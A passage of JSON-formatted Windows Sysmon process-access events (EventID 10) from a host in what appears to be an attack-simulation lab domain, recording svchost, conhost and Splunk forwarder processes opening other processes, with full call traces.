C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.680\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-001049010500}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.680","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-001049010500}","TargetProcessId":"4724","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.930\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-001049010500}\r\nSourceProcessId: 4724\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.930","SourceProcessGUID":"{90617006-4078-5F2D-0000-001049010500}","SourceProcessId":"4724","SourceThreadId":"4700","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program 